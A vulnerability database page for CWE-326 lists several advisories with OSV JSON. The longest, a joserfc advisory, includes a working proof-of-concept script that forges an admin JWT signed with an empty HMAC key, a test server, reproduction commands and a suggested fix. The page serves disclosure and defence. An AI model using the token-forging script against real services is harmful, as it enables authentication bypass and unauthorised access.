Common Weakness Enumeration

CWE-326

Allowed-with-Review

Inadequate Encryption Strength

Abstraction: Class · Status: Draft

The product stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.

654 vulnerabilities reference this CWE, most recent first.

GHSA-G8VH-4GXX-PHQ3

Vulnerability from github – Published: 2022-05-24 16:48 – Updated: 2024-02-27 21:31
VLAI
Details

Session data between cluster nodes during cluster synchronization is not properly encrypted in Pulse Secure Pulse Connect Secure (PCS) 8.3RX before 8.3R2 and Pulse Policy Secure (PPS) 5.4RX before 5.4R2. This is not applicable to PCS 8.1RX, PPS 5.2RX, or stand-alone devices.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-20810"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-326"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-06-28T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Session data between cluster nodes during cluster synchronization is not properly encrypted in Pulse Secure Pulse Connect Secure (PCS) 8.3RX before 8.3R2 and Pulse Policy Secure (PPS) 5.4RX before 5.4R2. This is not applicable to PCS 8.1RX, PPS 5.2RX, or stand-alone devices.",
  "id": "GHSA-g8vh-4gxx-phq3",
  "modified": "2024-02-27T21:31:22Z",
  "published": "2022-05-24T16:48:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20810"
    },
    {
      "type": "WEB",
      "url": "https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA43877"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G946-P4JG-3566

Vulnerability from github – Published: 2022-03-03 00:00 – Updated: 2022-03-17 00:04
VLAI
Details

Argus Surveillance DVR v4.0 employs weak password encryption.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-25012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-326"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-01T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Argus Surveillance DVR v4.0 employs weak password encryption.",
  "id": "GHSA-g946-p4jg-3566",
  "modified": "2022-03-17T00:04:21Z",
  "published": "2022-03-03T00:00:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25012"
    },
    {
      "type": "WEB",
      "url": "https://leobreaker1411.github.io/blog/dvr4-hash-crack"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/50130"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G9VM-RJ34-66R4

Vulnerability from github – Published: 2024-08-14 15:31 – Updated: 2024-08-14 15:31
VLAI
Details

Inadequate encryption strength for some BMRA software before version 22.08 may allow an authenticated user to potentially enable escalation of privilege via local access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-21787"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-326"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-14T14:15:16Z",
    "severity": "HIGH"
  },
  "details": "Inadequate encryption strength for some BMRA software before version 22.08 may allow an authenticated user to potentially enable escalation of privilege via local access.",
  "id": "GHSA-g9vm-rj34-66r4",
  "modified": "2024-08-14T15:31:13Z",
  "published": "2024-08-14T15:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21787"
    },
    {
      "type": "WEB",
      "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00790.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GC2M-8Q2F-C67V

Vulnerability from github – Published: 2022-10-12 12:00 – Updated: 2022-10-13 12:00
VLAI
Details

SAP Customer Data Cloud (Gigya mobile app for Android) - version 7.4, uses encryption method which lacks proper diffusion and does not hide the patterns well. This can lead to information disclosure. In certain scenarios, application might also be susceptible to replay attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-41209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-326"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-11T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "SAP Customer Data Cloud (Gigya mobile app for Android) - version 7.4, uses encryption method which lacks proper diffusion and does not hide the patterns well. This can lead to information disclosure. In certain scenarios, application might also be susceptible to replay attacks.",
  "id": "GHSA-gc2m-8q2f-c67v",
  "modified": "2022-10-13T12:00:27Z",
  "published": "2022-10-12T12:00:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41209"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3248970"
    },
    {
      "type": "WEB",
      "url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GC4P-7QXX-HHRW

Vulnerability from github – Published: 2025-05-02 15:31 – Updated: 2025-05-02 18:31
VLAI
Details

Reuse of a static AES key and initialization vector for encrypted traffic to the 'ate' management service of the Tenda RX2 Pro 16.03.30.14 allows an attacker to decrypt, replay, and/or forge traffic to the service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-46626"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-326"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-01T20:15:38Z",
    "severity": "HIGH"
  },
  "details": "Reuse of a static AES key and initialization vector for encrypted traffic to the \u0027ate\u0027 management service of the Tenda RX2 Pro 16.03.30.14 allows an attacker to decrypt, replay, and/or forge traffic to the service.",
  "id": "GHSA-gc4p-7qxx-hhrw",
  "modified": "2025-05-02T18:31:31Z",
  "published": "2025-05-02T15:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46626"
    },
    {
      "type": "WEB",
      "url": "https://blog.uturn.dev/#/writeups/iot-village/tenda-rx2pro/README?id=cve-2025-46625-command-injection-through-setlancfg-in-httpd"
    },
    {
      "type": "WEB",
      "url": "https://www.tendacn.com/us/default.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GCQW-X5JP-PH78

Vulnerability from github – Published: 2022-05-24 17:31 – Updated: 2024-11-26 18:38
VLAI
Details

A vulnerability in the sftunnel functionality of Cisco Firepower Management Center (FMC) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to obtain the device registration hash. The vulnerability is due to insufficient sftunnel negotiation protection during initial device registration. An attacker in a man-in-the-middle position could exploit this vulnerability by intercepting a specific flow of the sftunnel communication between an FMC device and an FTD device. A successful exploit could allow the attacker to decrypt and modify the sftunnel communication between FMC and FTD devices, allowing the attacker to modify configuration data sent from an FMC device to an FTD device or alert data sent from an FTD device to an FMC device.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-3549"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-326"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-21T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the sftunnel functionality of Cisco Firepower Management Center (FMC) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to obtain the device registration hash. The vulnerability is due to insufficient sftunnel negotiation protection during initial device registration. An attacker in a man-in-the-middle position could exploit this vulnerability by intercepting a specific flow of the sftunnel communication between an FMC device and an FTD device. A successful exploit could allow the attacker to decrypt and modify the sftunnel communication between FMC and FTD devices, allowing the attacker to modify configuration data sent from an FMC device to an FTD device or alert data sent from an FTD device to an FMC device.",
  "id": "GHSA-gcqw-x5jp-ph78",
  "modified": "2024-11-26T18:38:40Z",
  "published": "2022-05-24T17:31:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3549"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ftdfmc-sft-mitm-tc8AzFs2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GF4X-6RW3-Q4X6

Vulnerability from github – Published: 2026-07-01 06:31 – Updated: 2026-07-09 06:31
VLAI
Details

UltraVNC through 1.8.2.2 uses inadequate cryptography in the MS-Logon II authentication scheme (rfbUltraVNC_MsLogonIIAuth). In rfb/dh.cpp the Diffie-Hellman key exchange is performed with parameters that fit in an unsigned 64-bit integer (DH_MAX_BITS controls the prime size). A 64-bit DH key can be broken by Pollard's rho algorithm in under one second on current hardware. Additionally, the private exponent is generated by the rng() function, which multiplies three libc rand() values seeded from time(NULL). With approximately 31 bits of internal state and a time-based seed, the private exponent is recoverable in under a minute by a passive observer. A network attacker who can observe the MS-Logon II handshake (via sniffing, recording, or man-in-the-middle) can derive the shared DH key and decrypt the encapsulated username and password, resulting in full credential disclosure. This affects legacy MS-Logon II connections; MS-Logon III (X25519 + AES-256-GCM) is unaffected.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-7830"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-326"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-01T05:16:24Z",
    "severity": "HIGH"
  },
  "details": "UltraVNC through 1.8.2.2 uses inadequate cryptography in the MS-Logon II authentication scheme (rfbUltraVNC_MsLogonIIAuth). In rfb/dh.cpp the Diffie-Hellman key exchange is performed with parameters that fit in an unsigned 64-bit integer (DH_MAX_BITS controls the prime size). A 64-bit DH key can be broken by Pollard\u0027s rho algorithm in under one second on current hardware. Additionally, the private exponent is generated by the rng() function, which multiplies three libc rand() values seeded from time(NULL). With approximately 31 bits of internal state and a time-based seed, the private exponent is recoverable in under a minute by a passive observer. A network attacker who can observe the MS-Logon II handshake (via sniffing, recording, or man-in-the-middle) can derive the shared DH key and decrypt the encapsulated username and password, resulting in full credential disclosure. This affects legacy MS-Logon II connections; MS-Logon III (X25519 + AES-256-GCM) is unaffected.",
  "id": "GHSA-gf4x-6rw3-q4x6",
  "modified": "2026-07-09T06:31:59Z",
  "published": "2026-07-01T06:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7830"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ultravnc/UltraVNC"
    },
    {
      "type": "WEB",
      "url": "https://uvnc.com"
    },
    {
      "type": "WEB",
      "url": "https://www.securin.io/zero-days/cve-2026-7830-31-bit-dh-weak-rng-ms-logon-credential-interception-ultravnc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GFXG-882H-6VF5

Vulnerability from github – Published: 2022-05-01 01:48 – Updated: 2022-05-01 01:48
VLAI
Details

The integrity check feature in OpenPGP, when handling a message that was encrypted using cipher feedback (CFB) mode, allows remote attackers to recover part of the plaintext via a chosen-ciphertext attack when the first 2 bytes of a message block are known, and an oracle or other mechanism is available to determine whether an integrity check failed.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2005-0366"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-326"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2005-05-02T04:00:00Z",
    "severity": "MODERATE"
  },
  "details": "The integrity check feature in OpenPGP, when handling a message that was encrypted using cipher feedback (CFB) mode, allows remote attackers to recover part of the plaintext via a chosen-ciphertext attack when the first 2 bytes of a message block are known, and an oracle or other mechanism is available to determine whether an integrity check failed.",
  "id": "GHSA-gfxg-882h-6vf5",
  "modified": "2022-05-01T01:48:47Z",
  "published": "2022-05-01T01:48:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2005-0366"
    },
    {
      "type": "WEB",
      "url": "http://eprint.iacr.org/2005/033"
    },
    {
      "type": "WEB",
      "url": "http://eprint.iacr.org/2005/033.pdf"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1013166"
    },
    {
      "type": "WEB",
      "url": "http://www.gentoo.org/security/en/glsa/glsa-200503-29.xml"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/303094"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDKSA-2005:057"
    },
    {
      "type": "WEB",
      "url": "http://www.novell.com/linux/security/advisories/2005_07_sr.html"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/13775"
    },
    {
      "type": "WEB",
      "url": "http://www.pgp.com/library/ctocorner/openpgp.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/12529"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GG9X-QCX2-XMRH

Vulnerability from github – Published: 2026-07-02 19:12 – Updated: 2026-07-02 19:12
VLAI
Summary
joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)
Details

Summary

joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or None. HMACAlgorithm.sign and HMACAlgorithm.verify in src/joserfc/_rfc7518/jws_algs.py:62-70 feed whatever OctKey.get_op_key(...) produced into hmac.new(...), and OctKey.import_key only emits a SecurityWarning when the raw key is shorter than 14 bytes without rejecting zero-length input. Any application whose JWT secret is sourced from an unset environment variable, an unset Redis / DB row, a key finder fallback that returns "", or a Hash.new("")-style default verifies attacker tokens forged with HMAC(key=b"", signing_input) because the attacker trivially reproduces the same digest with no secret knowledge.

This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x / CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key, filed 2026-05-13). ruby-jwt v3.2.0 added an ensure_valid_key! precondition that rejects empty keys at both sign and verify entry; joserfc has no equivalent. (The same primitive lives in the deprecated authlib.jose module by the same maintainer; filing this advisory against joserfc alongside a separate authlib advisory because the codebases are independent shipping artifacts on PyPI.)

Affected versions

joserfc (PyPI) <= 1.6.7 (latest published release reproduces). No patched release.

Privilege required

Unauthenticated. Any HTTP / RPC endpoint that calls joserfc.jwt.decode with a verification key sourced from configuration is reachable. The condition that makes the bug observable is operator-side: the configured secret resolves to "" or None. Common patterns that produce this state in production:

  • OctKey.import_key(os.environ.get("JWT_SECRET", ""))
  • A key finder callable that returns "" / None for an unknown kid
  • Default values like os.getenv("SECRET") or "", cfg.get("secret", "")
  • Database / Redis row lookup that returns "" for a missing row

Vulnerable code

src/joserfc/_rfc7518/jws_algs.py:43-70:

class HMACAlgorithm(JWSAlgModel):
    SHA256 = hashlib.sha256
    SHA384 = hashlib.sha384
    SHA512 = hashlib.sha512

    def __init__(self, sha_type, recommended=False):
        self.name = f"HS{sha_type}"
        self.description = f"HMAC using SHA-{sha_type}"
        self.recommended = recommended
        self.hash_alg = getattr(self, f"SHA{sha_type}")
        self.algorithm_security = sha_type

    def sign(self, msg: bytes, key: OctKey) -> bytes:
        op_key = key.get_op_key("sign")
        return hmac.new(op_key, msg, self.hash_alg).digest()

    def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
        op_key = key.get_op_key("verify")
        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
        return hmac.compare_digest(sig, v_sig)

src/joserfc/_rfc7518/oct_key.py:52-63:

@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
    if len(key.raw_value) < 14:
        # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final
        warnings.warn("Key size should be >= 112 bits", SecurityWarning)
    return key

The < 14 check only warns; len(key.raw_value) == 0 falls through and is returned to the caller. HMACAlgorithm.verify then calls hmac.compare_digest(sig, hmac.new(b"", signing_input, sha256).digest()), and Python's hmac.new(b"", ...) accepts the empty key.

Cross-language sibling of ruby-jwt's fix in lib/jwt/jwa/hmac.rb:

def ensure_valid_key!(key)
  raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)
  raise_verify_error!('HMAC key cannot be empty') if key.empty?
end

invoked from both sign(signing_key:) and verify(verification_key:). PyJWT landed an equivalent guard in 2.13.0 (HMACAlgorithm.prepare_key raises InvalidKeyError("HMAC key must not be empty.") for len(key_bytes) == 0). firebase/php-jwt rejects empty material in Key.__construct. jjwt enforces a 256-bit minimum in DefaultMacAlgorithm.validateKey. joserfc has the strongest existing length-warning logic but stops at < 14 bytes warn rather than == 0 reject.

How an empty JWT_SECRET reaches hmac.new

  1. The application calls joserfc.jwt.decode(value, key, algorithms=["HS256"]) where key = OctKey.import_key("") (or OctKey.import_key(b""), or any custom path that yields an OctKey whose raw_value is b"").
  2. decode (src/joserfc/jwt.py:86-117) calls _decode_jws(...)deserialize_compact(value, key, algorithms, registry).
  3. deserialize_compact (src/joserfc/jws.py) dispatches to HMACAlgorithm.verify(signing_input, signature, key).
  4. verify calls key.get_op_key("verify") → returns b"".
  5. hmac.new(b"", signing_input, sha256).digest() is computed; the attacker computed exactly that digest with the same empty key, so hmac.compare_digest returns True and decode succeeds.

No upstream nil-check, no length check, no schema rejection. The path is reached from the public joserfc.jwt.decode API.

Proof of concept

Attacker (no secret knowledge):

import base64, hmac, hashlib, json, time
def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
now = int(time.time())
payload = b64url(json.dumps({
    "sub": "attacker", "admin": True,
    "iat": now, "exp": now + 600,
}).encode())
signing_input = header + b"." + payload
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
forged = signing_input + b"." + b64url(sig)
print(forged.decode())

Server harness:

# server.py
from joserfc import jwt
from joserfc.jwk import OctKey
import os
from wsgiref.simple_server import make_server

def app(environ, start_response):
    auth = environ.get("HTTP_AUTHORIZATION", "")
    token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else ""
    key = OctKey.import_key(os.environ.get("JWT_SECRET", ""))  # default = ""
    try:
        tok = jwt.decode(token, key, algorithms=["HS256"])
        c = tok.claims
        body = ("OK: sub=%r admin=%r\n" % (c.get("sub"), c.get("admin"))).encode()
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [body]
    except Exception as e:
        start_response("401 Unauthorized", [("Content-Type", "text/plain")])
        return [("DENY: %s\n" % e).encode()]

make_server("127.0.0.1", 8383, app).serve_forever()

End-to-end reproduction (against pip install joserfc==1.6.7)

# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret
#    state.
python3.12 -m venv venv
./venv/bin/pip install joserfc==1.6.7
./venv/bin/python server.py &   # listens on :8383

# 2. Run the attacker
./venv/bin/python attacker.py

Captured run output (canonical pre-fix run, joserfc 1.6.7, poc-attacker-empty-20260523-150949.log):

forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY
HTTP 200
OK: sub='attacker' admin=True

Control (real 256-bit secret, poc-control-realkey-20260523-150959.log):

forged token: eyJhbGciOiAiSFMyNTYi...
HTTP 401
DENY: BadSignatureError: bad_signature:

Interpretation:

Configuration Observed Expected
JWT_SECRET unset (== "") HTTP 200, admin=True (verified) HTTP 401
JWT_SECRET = 256-bit value HTTP 401, BadSignatureError HTTP 401

The first row demonstrates that an attacker with zero knowledge of the verification secret reaches the protected path by signing with the empty key. The second row confirms the verifier behaves correctly when the secret is non-empty, proving the bug is gated only on the secret being empty rather than on any structural defect in the attacker's token.

Fix verification: with the suggested empty-key reject wired into HMACAlgorithm.sign / .verify, the empty-secret server re-run rejects the same forged token with ValueError: HMAC key must not be empty.

Impact

  • Complete authentication bypass on any service whose key finder resolves to "" / None (env var unset, DB row missing, fallback). Attacker forges arbitrary claims (sub, admin, scopes, audience, expiry).
  • The misconfiguration that triggers the bug is silent: the server does not fail to boot, joserfc emits a single SecurityWarning ("Key size should be >= 112 bits") at OctKey.import_key time and then proceeds.
  • Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high). CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N — AC:H because of the operator-misconfiguration precondition; impact otherwise matches authentication bypass.

Suggested fix

Upgrade the existing < 14 bytes warning in OctKey.import_key to a hard reject at len(key.raw_value) == 0, plus a defence-in-depth check in HMACAlgorithm.sign and HMACAlgorithm.verify after key.get_op_key(...):

# src/joserfc/_rfc7518/oct_key.py
@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
    if not key.raw_value:
        raise ValueError("oct key material must not be empty")
    if len(key.raw_value) < 14:
        warnings.warn("Key size should be >= 112 bits", SecurityWarning)
    return key

# src/joserfc/_rfc7518/jws_algs.py
class HMACAlgorithm(JWSAlgModel):
    ...
    def sign(self, msg: bytes, key: OctKey) -> bytes:
        op_key = key.get_op_key("sign")
        if not op_key:
            raise ValueError("HMAC key must not be empty")
        return hmac.new(op_key, msg, self.hash_alg).digest()

    def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
        op_key = key.get_op_key("verify")
        if not op_key:
            raise ValueError("HMAC key must not be empty")
        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
        return hmac.compare_digest(sig, v_sig)

The two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in prepare_key, plus the runtime length checks the underlying hmac primitive does not perform).

Fix PR

authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1 (temp private fork PR), branch fix/hmac-reject-empty-key, base main. URL: https://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1

Credit

Reported by tonghuaroot.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.7"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "joserfc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49852"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391",
      "CWE-287",
      "CWE-326"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T19:12:08Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`joserfc.jwt.decode` accepts attacker-forged HMAC-signed tokens when the\ncaller-supplied verification key is the empty string or `None`.\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` in\n[`src/joserfc/_rfc7518/jws_algs.py:62-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70) feed whatever\n`OctKey.get_op_key(...)` produced into `hmac.new(...)`, and `OctKey.import_key`\nonly emits a `SecurityWarning` when the raw key is shorter than 14 bytes\nwithout rejecting zero-length input. Any application whose JWT secret is\nsourced from an unset environment variable, an unset Redis / DB row, a key\nfinder fallback that returns `\"\"`, or a `Hash.new(\"\")`-style default verifies\nattacker tokens forged with `HMAC(key=b\"\", signing_input)` because the\nattacker trivially reproduces the same digest with no secret knowledge.\n\nThis is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /\nCVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,\nfiled 2026-05-13). ruby-jwt v3.2.0 added an `ensure_valid_key!` precondition\nthat rejects empty keys at both sign and verify entry; joserfc has no\nequivalent. (The same primitive lives in the deprecated `authlib.jose`\nmodule by the same maintainer; filing this advisory against joserfc\nalongside a separate `authlib` advisory because the codebases are\nindependent shipping artifacts on PyPI.)\n\n### Affected versions\n\n`joserfc` (PyPI) `\u003c= 1.6.7` (latest published release reproduces). No\npatched release.\n\n### Privilege required\n\nUnauthenticated. Any HTTP / RPC endpoint that calls `joserfc.jwt.decode`\nwith a verification key sourced from configuration is reachable. The\ncondition that makes the bug observable is operator-side: the configured\nsecret resolves to `\"\"` or `None`. Common patterns that produce this state\nin production:\n\n- `OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\"))`\n- A key finder callable that returns `\"\"` / `None` for an unknown `kid`\n- Default values like `os.getenv(\"SECRET\") or \"\"`, `cfg.get(\"secret\", \"\")`\n- Database / Redis row lookup that returns `\"\"` for a missing row\n\n### Vulnerable code\n\n[`src/joserfc/_rfc7518/jws_algs.py:43-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L43-L70):\n\n```python\nclass HMACAlgorithm(JWSAlgModel):\n    SHA256 = hashlib.sha256\n    SHA384 = hashlib.sha384\n    SHA512 = hashlib.sha512\n\n    def __init__(self, sha_type, recommended=False):\n        self.name = f\"HS{sha_type}\"\n        self.description = f\"HMAC using SHA-{sha_type}\"\n        self.recommended = recommended\n        self.hash_alg = getattr(self, f\"SHA{sha_type}\")\n        self.algorithm_security = sha_type\n\n    def sign(self, msg: bytes, key: OctKey) -\u003e bytes:\n        op_key = key.get_op_key(\"sign\")\n        return hmac.new(op_key, msg, self.hash_alg).digest()\n\n    def verify(self, msg: bytes, sig: bytes, key: OctKey) -\u003e bool:\n        op_key = key.get_op_key(\"verify\")\n        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n        return hmac.compare_digest(sig, v_sig)\n```\n\n[`src/joserfc/_rfc7518/oct_key.py:52-63`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/oct_key.py#L52-L63):\n\n```python\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -\u003e \"OctKey\":\n    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n    if len(key.raw_value) \u003c 14:\n        # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final\n        warnings.warn(\"Key size should be \u003e= 112 bits\", SecurityWarning)\n    return key\n```\n\nThe `\u003c 14` check only warns; `len(key.raw_value) == 0` falls through and is\nreturned to the caller. `HMACAlgorithm.verify` then calls\n`hmac.compare_digest(sig, hmac.new(b\"\", signing_input, sha256).digest())`,\nand Python\u0027s `hmac.new(b\"\", ...)` accepts the empty key.\n\nCross-language sibling of ruby-jwt\u0027s fix in [`lib/jwt/jwa/hmac.rb`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/lib/jwt/jwa/hmac.rb):\n\n```ruby\ndef ensure_valid_key!(key)\n  raise_verify_error!(\u0027HMAC key expected to be a String\u0027) unless key.is_a?(String)\n  raise_verify_error!(\u0027HMAC key cannot be empty\u0027) if key.empty?\nend\n```\n\ninvoked from both `sign(signing_key:)` and `verify(verification_key:)`.\nPyJWT landed an equivalent guard in 2.13.0 (`HMACAlgorithm.prepare_key`\nraises `InvalidKeyError(\"HMAC key must not be empty.\")` for `len(key_bytes) == 0`).\nfirebase/php-jwt rejects empty material in `Key.__construct`. jjwt enforces a\n256-bit minimum in `DefaultMacAlgorithm.validateKey`. joserfc has the\nstrongest existing length-warning logic but stops at `\u003c 14 bytes` warn\nrather than `== 0` reject.\n\n### How an empty `JWT_SECRET` reaches `hmac.new`\n\n1. The application calls `joserfc.jwt.decode(value, key, algorithms=[\"HS256\"])`\n   where `key = OctKey.import_key(\"\")` (or `OctKey.import_key(b\"\")`,\n   or any custom path that yields an `OctKey` whose `raw_value` is `b\"\"`).\n2. `decode` ([`src/joserfc/jwt.py:86-117`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jwt.py#L86-L117)) calls `_decode_jws(...)` \u2192\n   `deserialize_compact(value, key, algorithms, registry)`.\n3. `deserialize_compact` ([`src/joserfc/jws.py`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jws.py)) dispatches to\n   